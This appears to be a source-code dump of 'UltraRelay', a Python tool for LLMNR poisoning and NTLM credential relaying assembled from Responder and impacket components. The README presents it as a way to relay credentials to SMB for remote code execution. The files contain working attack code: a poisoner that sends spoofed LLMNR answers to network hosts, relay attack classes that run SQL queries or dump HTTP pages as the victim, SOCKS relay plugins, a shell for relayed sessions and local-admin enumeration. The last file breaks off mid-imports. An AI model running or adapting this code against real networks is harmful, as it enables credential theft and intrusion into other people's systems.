├── ntlmrelayx
├── __init__.py
├── utils
│ ├── __init__.py
│ ├── tcpshell.py
│ ├── ssl.py
│ ├── enum.py
│ ├── config.py
│ └── targetsutils.py
├── servers
│ ├── __init__.py
│ ├── socksplugins
│ │ ├── __init__.py
│ │ ├── https.py
│ │ ├── imaps.py
│ │ ├── smtp.py
│ │ ├── http.py
│ │ ├── mssql.py
│ │ └── imap.py
│ ├── httprelayserver.py
│ └── socksserver.py
├── attacks
│ ├── mssqlattack.py
│ ├── httpattack.py
│ ├── __init__.py
│ ├── imapattack.py
│ ├── smbattack.py
│ └── ldapattack.py
└── clients
│ ├── smtprelayclient.py
│ ├── __init__.py
│ ├── imaprelayclient.py
│ ├── httprelayclient.py
│ ├── mssqlrelayclient.py
│ ├── ldaprelayclient.py
│ └── smbrelayclient.py
├── Readme.md
├── llmnrpoison
├── __init__.py
├── settings.py
├── utils.py
├── LLMNR.py
└── odict.py
├── .gitignore
└── ultrarelay.py
/ntlmrelayx/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/ntlmrelayx/utils/__init__.py:
--------------------------------------------------------------------------------
1 | pass
2 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/__init__.py:
--------------------------------------------------------------------------------
1 | from httprelayserver import HTTPRelayServer
2 | from smbrelayserver import SMBRelayServer
3 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/socksplugins/__init__.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import pkg_resources
4 |
5 | SOCKS_RELAYS = set()
6 |
7 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'):
8 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc':
9 | continue
10 |
11 | __import__(__package__ + '.' + os.path.splitext(file)[0])
12 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]]
13 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS'))
14 | SOCKS_RELAYS.add(pluginClass)
15 |
--------------------------------------------------------------------------------
/Readme.md:
--------------------------------------------------------------------------------
1 | # UltraRelay
2 |
3 | UltraRelay is a tool for LLMNR poisoning and relaying NTLM credentials. It is based on [Responder](https://github.com/SpiderLabs/Responder) and [impack](https://github.com/SecureAuthCorp/impacket).
4 |
5 | Especially, this tool can be used to relay credentials from JAVA http request to local SMB server and achieve RCE.
6 |
7 | ## Dependency
8 |
9 | * [Responder](https://github.com/SpiderLabs/Responder)
10 | * [impack](https://github.com/SecureAuthCorp/impacket)
11 |
12 | ## Ussage
13 |
14 | `python ultrarelay.py -ip 192.168.1.100`
15 |
16 | Value of the ip argument is attacker's ip address.
17 |
18 | ## Demo video
19 |
20 | https://www.youtube.com/watch?v=VyoyA2GgKck
21 |
22 | ## Contact
23 |
24 | md5_salt [AT] qq.com
--------------------------------------------------------------------------------
/ntlmrelayx/attacks/mssqlattack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # MSSQL Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # MSSQL protocol relay attack
15 | #
16 | # ToDo:
17 | #
18 | from impacket import LOG
19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
20 |
21 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack"
22 |
23 | class MSSQLAttack(ProtocolAttack):
24 | PLUGIN_NAMES = ["MSSQL"]
25 | def run(self):
26 | if self.config.queries is None:
27 | LOG.error('No SQL queries specified for MSSQL relay!')
28 | else:
29 | for query in self.config.queries:
30 | LOG.info('Executing SQL: %s' % query)
31 | self.client.sql_query(query)
32 | self.client.printReplies()
33 | self.client.printRows()
34 |
--------------------------------------------------------------------------------
/ntlmrelayx/utils/tcpshell.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # TCP interactive shell
8 | #
9 | # Author:
10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # Launches a TCP shell for interactive use of clients
14 | # after successful relaying
15 | import socket
16 | #Default listen port
17 | port = 11000
18 | class TcpShell:
19 | def __init__(self):
20 | global port
21 | self.port = port
22 | #Increase the default port for the next attack
23 | port += 1
24 |
25 | def listen(self):
26 | #Set up the listening socket
27 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
28 | #Bind on localhost
29 | serversocket.bind(('127.0.0.1', self.port))
30 | #Don't allow a backlog
31 | serversocket.listen(0)
32 | self.connection, host = serversocket.accept()
33 | #Create a file object from the socket
34 | self.socketfile = self.connection.makefile()
--------------------------------------------------------------------------------
/llmnrpoison/__init__.py:
--------------------------------------------------------------------------------
1 | from SocketServer import TCPServer, UDPServer, ThreadingMixIn
2 | from threading import Thread
3 | from LLMNR import LLMNR
4 | import socket
5 | import settings
6 |
7 | settings.init()
8 |
9 |
10 | class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
11 | def server_bind(self):
12 | MADDR = "224.0.0.252"
13 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
14 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
15 |
16 | self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(settings.Config.IP))
17 | #self.socket.setsockopt(socket.SOL_SOCKET, 25, IP+'\0')
18 |
19 | UDPServer.server_bind(self)
20 |
21 | ThreadingUDPLLMNRServer.allow_reuse_address = 1
22 |
23 | def serve_LLMNR_poisoner(host, port, handler):
24 | try:
25 | server = ThreadingUDPLLMNRServer((host, port), handler)
26 | server.serve_forever()
27 | except:
28 | raise
29 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
30 |
31 |
32 | #threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
33 |
34 | #serve_LLMNR_poisoner('', 5355, LLMNR)
--------------------------------------------------------------------------------
/llmnrpoison/settings.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder
3 | # Original work by Laurent Gaffie - Trustwave Holdings
4 | #
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 |
18 | import utils
19 | import ConfigParser
20 |
21 | __version__ = 'Responder 2.3'
22 |
23 | class Settings:
24 |
25 | def __init__(self):
26 | self.IP = '0.0.0.0'
27 |
28 | def __str__(self):
29 | ret = 'Settings class:\n'
30 | for attr in dir(self):
31 | value = str(getattr(self, attr)).strip()
32 | ret += " Settings.%s = %s\n" % (attr, value)
33 | return ret
34 |
35 | def set(self, IP):
36 | self.IP = IP
37 |
38 |
39 | def init():
40 | global Config
41 | Config = Settings()
42 |
--------------------------------------------------------------------------------
/llmnrpoison/utils.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder, a network take-over set of tools
3 | # created and maintained by Laurent Gaffie.
4 | # email: laurent.gaffie@gmail.com
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 | import os
18 | import sys
19 | import re
20 | import logging
21 | import socket
22 | import time
23 | import datetime
24 | import settings
25 |
26 | def color(txt, code = 1, modifier = 0):
27 | return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
28 |
29 | def RespondWithIPAton():
30 | return socket.inet_aton(settings.Config.IP)
31 |
32 | def Parse_IPV6_Addr(data):
33 | if data[len(data)-4:len(data)][1] =="\x1c":
34 | return False
35 | elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
36 | return True
37 | elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
38 | return True
39 | return False
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | MANIFEST
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 | .pytest_cache/
49 |
50 | # Translations
51 | *.mo
52 | *.pot
53 |
54 | # Django stuff:
55 | *.log
56 | local_settings.py
57 | db.sqlite3
58 |
59 | # Flask stuff:
60 | instance/
61 | .webassets-cache
62 |
63 | # Scrapy stuff:
64 | .scrapy
65 |
66 | # Sphinx documentation
67 | docs/_build/
68 |
69 | # PyBuilder
70 | target/
71 |
72 | # Jupyter Notebook
73 | .ipynb_checkpoints
74 |
75 | # pyenv
76 | .python-version
77 |
78 | # celery beat schedule file
79 | celerybeat-schedule
80 |
81 | # SageMath parsed files
82 | *.sage.py
83 |
84 | # Environments
85 | .env
86 | .venv
87 | env/
88 | venv/
89 | ENV/
90 | env.bak/
91 | venv.bak/
92 |
93 | # Spyder project settings
94 | .spyderproject
95 | .spyproject
96 |
97 | # Rope project settings
98 | .ropeproject
99 |
100 | # mkdocs documentation
101 | /site
102 |
103 | # mypy
104 | .mypy_cache/
105 |
--------------------------------------------------------------------------------
/ntlmrelayx/attacks/httpattack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # HTTP Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # HTTP protocol relay attack
15 | #
16 | # ToDo:
17 | #
18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
19 |
20 | PROTOCOL_ATTACK_CLASS = "HTTPAttack"
21 |
22 | class HTTPAttack(ProtocolAttack):
23 | """
24 | This is the default HTTP attack. This attack only dumps the root page, though
25 | you can add any complex attack below. self.client is an instance of urrlib.session
26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply
27 | proxy through ntlmrelayx
28 | """
29 | PLUGIN_NAMES = ["HTTP", "HTTPS"]
30 | def run(self):
31 | #Default action: Dump requested page to file, named username-targetname.html
32 |
33 | #You can also request any page on the server via self.client.session,
34 | #for example with:
35 | result = self.client.request("GET", "/")
36 | r1 = self.client.getresponse()
37 | print r1.status, r1.reason
38 | data1 = r1.read()
39 | print data1
40 |
41 | #Remove protocol from target name
42 | #safeTargetName = self.client.target.replace('http://','').replace('https://','')
43 |
44 | #Replace any special chars in the target name
45 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
46 |
47 | #Combine username with filename
48 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
49 |
50 | #Write it to the file
51 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of:
52 | # of.write(self.client.lastresult)
53 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/socksplugins/https.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the HTTPS Protocol
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections
14 | #
15 | # ToDo:
16 | #
17 |
18 | from impacket import LOG
19 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay
20 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
21 | from OpenSSL import SSL
22 |
23 | # Besides using this base class you need to define one global variable when
24 | # writing a plugin:
25 | PLUGIN_CLASS = "HTTPSSocksRelay"
26 | EOL = '\r\n'
27 |
28 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay):
29 | PLUGIN_NAME = 'HTTPS Socks Plugin'
30 | PLUGIN_SCHEME = 'HTTPS'
31 |
32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
33 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
34 |
35 | @staticmethod
36 | def getProtocolPort():
37 | return 443
38 |
39 | def skipAuthentication(self):
40 | LOG.debug('Wrapping client connection in TLS/SSL')
41 | self.wrapClientConnection()
42 | if not HTTPSocksRelay.skipAuthentication(self):
43 | # Shut down TLS connection
44 | self.socksSocket.shutdown()
45 | return False
46 | return True
47 |
48 | def tunnelConnection(self):
49 | while True:
50 | try:
51 | data = self.socksSocket.recv(self.packetSize)
52 | except SSL.ZeroReturnError:
53 | # The SSL connection was closed, return
54 | return
55 | # Pass the request to the server
56 | tosend = self.prepareRequest(data)
57 | self.relaySocket.send(tosend)
58 | # Send the response back to the client
59 | self.transferResponse()
60 |
--------------------------------------------------------------------------------
/ntlmrelayx/attacks/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Protocol Attack Base Class definition
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # Defines a base class for all attacks + loads all available modules
15 | #
16 | # ToDo:
17 | #
18 | import os, sys
19 | import pkg_resources
20 | from impacket import LOG
21 | from threading import Thread
22 |
23 | PROTOCOL_ATTACKS = {}
24 |
25 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc)
26 | # Besides using this base class you need to define one global variable when
27 | # writing a plugin for protocol clients:
28 | # PROTOCOL_ATTACK_CLASS = ""
29 | # or (to support multiple classes in one file)
30 | # PROTOCOL_ATTACK_CLASSES = ["", ""]
31 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names
32 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc)
33 | class ProtocolAttack(Thread):
34 | PLUGIN_NAMES = ['PROTOCOL']
35 | def __init__(self, config, client, username):
36 | Thread.__init__(self)
37 | # Set threads as daemon
38 | self.daemon = True
39 | self.config = config
40 | self.client = client
41 | # By default we only use the username and remove the domain
42 | self.username = username.split('/')[1]
43 |
44 | def run(self):
45 | raise RuntimeError('Virtual Function')
46 |
47 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'):
48 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc':
49 | continue
50 | __import__(__package__ + '.' + os.path.splitext(file)[0])
51 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]]
52 | try:
53 | pluginClasses = set()
54 | try:
55 | if hasattr(module,'PROTOCOL_ATTACK_CLASSES'):
56 | # Multiple classes
57 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES:
58 | pluginClasses.add(getattr(module, pluginClass))
59 | else:
60 | # Single class
61 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS')))
62 | except Exception, e:
63 | LOG.debug(e)
64 | pass
65 |
66 | for pluginClass in pluginClasses:
67 | for pluginName in pluginClass.PLUGIN_NAMES:
68 | LOG.debug('Protocol Attack %s loaded..' % pluginName)
69 | PROTOCOL_ATTACKS[pluginName] = pluginClass
70 | except Exception, e:
71 | LOG.debug(str(e))
72 |
73 |
--------------------------------------------------------------------------------
/ntlmrelayx/utils/ssl.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # SSL utilities
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # Various functions and classes for SSL support:
14 | # - generating certificates
15 | # - creating SSL capable SOCKS protocols
16 | #
17 | # Most of the SSL generation example code comes from the pyopenssl examples
18 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py
19 | #
20 | # Made available under the Apache license by the pyopenssl team
21 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE
22 | import os
23 | from OpenSSL import crypto, SSL
24 | from impacket import LOG
25 |
26 | # This certificate is not supposed to be exposed on the network
27 | # but only used for the local SOCKS plugins
28 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching
29 | def generateImpacketCert(certname='/tmp/impacket.crt'):
30 | # Create a private key
31 | pkey = crypto.PKey()
32 | pkey.generate_key(crypto.TYPE_RSA, 2048)
33 |
34 | # Create the certificate
35 | cert = crypto.X509()
36 | cert.gmtime_adj_notBefore(0)
37 | # Valid for 5 years
38 | cert.gmtime_adj_notAfter(60*60*24*365*5)
39 | subj = cert.get_subject()
40 | subj.CN = 'impacket'
41 | cert.set_pubkey(pkey)
42 | cert.sign(pkey, "sha256")
43 | # We write both from the same file
44 | with open(certname, 'w') as certfile:
45 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8'))
46 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
47 | LOG.debug('Wrote certificate to %s' % certname)
48 |
49 | # Class to wrap the client socket in SSL when serving as a SOCKS server
50 | class SSLServerMixin(object):
51 | # This function will wrap the socksSocket in an SSL layer
52 | def wrapClientConnection(self, cert='/tmp/impacket.crt'):
53 | # Create a context, we don't really care about the SSL/TLS
54 | # versions used since it is only intended for local use and thus
55 | # doesn't have to be super-secure
56 | ctx = SSL.Context(SSL.SSLv23_METHOD)
57 | try:
58 | ctx.use_privatekey_file(cert)
59 | ctx.use_certificate_file(cert)
60 | except SSL.Error:
61 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt')
62 | generateImpacketCert(cert)
63 | ctx.use_privatekey_file(cert)
64 | ctx.use_certificate_file(cert)
65 |
66 | sslSocket = SSL.Connection(ctx, self.socksSocket)
67 | sslSocket.set_accept_state()
68 |
69 | # Now set this property back to the SSL socket instead of the regular one
70 | self.socksSocket = sslSocket
71 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/socksplugins/imaps.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the IMAPS Protocol
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections
14 | #
15 | # ToDo:
16 | #
17 | from impacket import LOG
18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay
19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
20 | from OpenSSL import SSL
21 |
22 | # Besides using this base class you need to define one global variable when
23 | # writing a plugin:
24 | PLUGIN_CLASS = "IMAPSSocksRelay"
25 | EOL = '\r\n'
26 |
27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay):
28 | PLUGIN_NAME = 'IMAPS Socks Plugin'
29 | PLUGIN_SCHEME = 'IMAPS'
30 |
31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
33 |
34 | @staticmethod
35 | def getProtocolPort():
36 | return 993
37 |
38 | def skipAuthentication(self):
39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL')
40 | self.wrapClientConnection()
41 | try:
42 | if not IMAPSocksRelay.skipAuthentication(self):
43 | # Shut down TLS connection
44 | self.socksSocket.shutdown()
45 | return False
46 | except Exception, e:
47 | LOG.debug('IMAPS: %s' % str(e))
48 | return False
49 | # Change our outgoing socket to the SSL object of IMAP4_SSL
50 | self.relaySocket = self.session.sslobj
51 | return True
52 |
53 | def tunnelConnection(self):
54 | keyword = ''
55 | tag = ''
56 | while True:
57 | try:
58 | data = self.socksSocket.recv(self.packetSize)
59 | except SSL.ZeroReturnError:
60 | # The SSL connection was closed, return
61 | break
62 | # Set the new keyword, unless it is false, then break out of the function
63 | result = self.processTunnelData(keyword, tag, data)
64 | if result is False:
65 | break
66 | # If its not false, it's a tuple with the keyword and tag
67 | keyword, tag = result
68 |
69 | if tag != '':
70 | # Store the tag in the session so we can continue
71 | tag = int(tag)
72 | if self.idleState is True:
73 | self.relaySocket.sendall('DONE%s' % EOL)
74 | self.relaySocketFile.readline()
75 |
76 | if self.shouldClose:
77 | tag += 1
78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL))
79 | self.relaySocketFile.readline()
80 |
81 | self.session.tagnum = tag + 1
82 |
--------------------------------------------------------------------------------
/ntlmrelayx/utils/enum.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # Config utilities
8 | #
9 | # Author:
10 | # Ronnie Flathers / @ropnop
11 | #
12 | # Description:
13 | # Helpful enum methods for discovering local admins through SAMR and LSAT
14 |
15 | from impacket.dcerpc.v5 import transport, lsat, lsad, samr
16 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
17 | from impacket.dcerpc.v5.rpcrt import DCERPCException
18 | from impacket.dcerpc.v5.samr import SID_NAME_USE
19 |
20 |
21 | class EnumLocalAdmins:
22 | def __init__(self, smbConnection):
23 | self.__smbConnection = smbConnection
24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]'
25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]'
26 |
27 | def __getDceBinding(self, strBinding):
28 | rpc = transport.DCERPCTransportFactory(strBinding)
29 | rpc.set_smb_connection(self.__smbConnection)
30 | return rpc.get_dce_rpc()
31 |
32 | def getLocalAdmins(self):
33 | adminSids = self.__getLocalAdminSids()
34 | adminNames = self.__resolveSids(adminSids)
35 | return adminSids, adminNames
36 |
37 | def __getLocalAdminSids(self):
38 | dce = self.__getDceBinding(self.__samrBinding)
39 | dce.connect()
40 | dce.bind(samr.MSRPC_UUID_SAMR)
41 | resp = samr.hSamrConnect(dce)
42 | serverHandle = resp['ServerHandle']
43 |
44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin')
45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId'])
46 | domainHandle = resp['DomainHandle']
47 | resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
48 | aliases = {}
49 | for alias in resp['Buffer']['Buffer']:
50 | aliases[alias['Name']] = alias['RelativeId']
51 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=aliases['Administrators'])
52 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])
53 | memberSids = []
54 | for member in resp['Members']['Sids']:
55 | memberSids.append(member['SidPointer'].formatCanonical())
56 | dce.disconnect()
57 | return memberSids
58 |
59 | def __resolveSids(self, sids):
60 | dce = self.__getDceBinding(self.__lsaBinding)
61 | dce.connect()
62 | dce.bind(lsat.MSRPC_UUID_LSAT)
63 | resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
64 | policyHandle = resp['PolicyHandle']
65 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
66 | names = []
67 | for n, item in enumerate(resp['TranslatedNames']['Names']):
68 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name']))
69 | dce.disconnect()
70 | return names
71 |
--------------------------------------------------------------------------------
/llmnrpoison/LLMNR.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder, a network take-over set of tools
3 | # created and maintained by Laurent Gaffie.
4 | # email: laurent.gaffie@gmail.com
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 | import struct
18 | from SocketServer import BaseRequestHandler
19 | from odict import OrderedDict
20 | from utils import *
21 |
22 | # Packet class handling all packet generation (see odict.py).
23 | class Packet():
24 | fields = OrderedDict([
25 | ("data", ""),
26 | ])
27 | def __init__(self, **kw):
28 | self.fields = OrderedDict(self.__class__.fields)
29 | for k,v in kw.items():
30 | if callable(v):
31 | self.fields[k] = v(self.fields[k])
32 | else:
33 | self.fields[k] = v
34 | def __str__(self):
35 | return "".join(map(str, self.fields.values()))
36 |
37 | # LLMNR Answer Packet
38 | class LLMNR_Ans(Packet):
39 | fields = OrderedDict([
40 | ("Tid", ""),
41 | ("Flags", "\x80\x00"),
42 | ("Question", "\x00\x01"),
43 | ("AnswerRRS", "\x00\x01"),
44 | ("AuthorityRRS", "\x00\x00"),
45 | ("AdditionalRRS", "\x00\x00"),
46 | ("QuestionNameLen", "\x09"),
47 | ("QuestionName", ""),
48 | ("QuestionNameNull", "\x00"),
49 | ("Type", "\x00\x01"),
50 | ("Class", "\x00\x01"),
51 | ("AnswerNameLen", "\x09"),
52 | ("AnswerName", ""),
53 | ("AnswerNameNull", "\x00"),
54 | ("Type1", "\x00\x01"),
55 | ("Class1", "\x00\x01"),
56 | ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
57 | ("IPLen", "\x00\x04"),
58 | ("IP", "\x00\x00\x00\x00"),
59 | ])
60 |
61 | def calculate(self):
62 | self.fields["IP"] = RespondWithIPAton()
63 | self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
64 | self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
65 | self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
66 |
67 |
68 |
69 | def Parse_LLMNR_Name(data):
70 | NameLen = struct.unpack('>B',data[12])[0]
71 | return data[13:13+NameLen]
72 |
73 |
74 | class LLMNR(BaseRequestHandler): # LLMNR Server class
75 | def handle(self):
76 | data, soc = self.request
77 | Name = Parse_LLMNR_Name(data)
78 |
79 | if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
80 | Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
81 | Buffer.calculate()
82 | soc.sendto(str(Buffer), self.client_address)
83 | LineHeader = "[*] [LLMNR]"
84 | print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
85 |
86 |
--------------------------------------------------------------------------------
/ntlmrelayx/clients/smtprelayclient.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2003-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # SMTP Protocol Client
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | # Alberto Solino (@agsolino)
12 | #
13 | # Description:
14 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange
15 | #
16 | import smtplib
17 | import base64
18 | from struct import unpack
19 |
20 | from impacket import LOG
21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
23 | from impacket.ntlm import NTLMAuthChallenge
24 | from impacket.spnego import SPNEGO_NegTokenResp
25 |
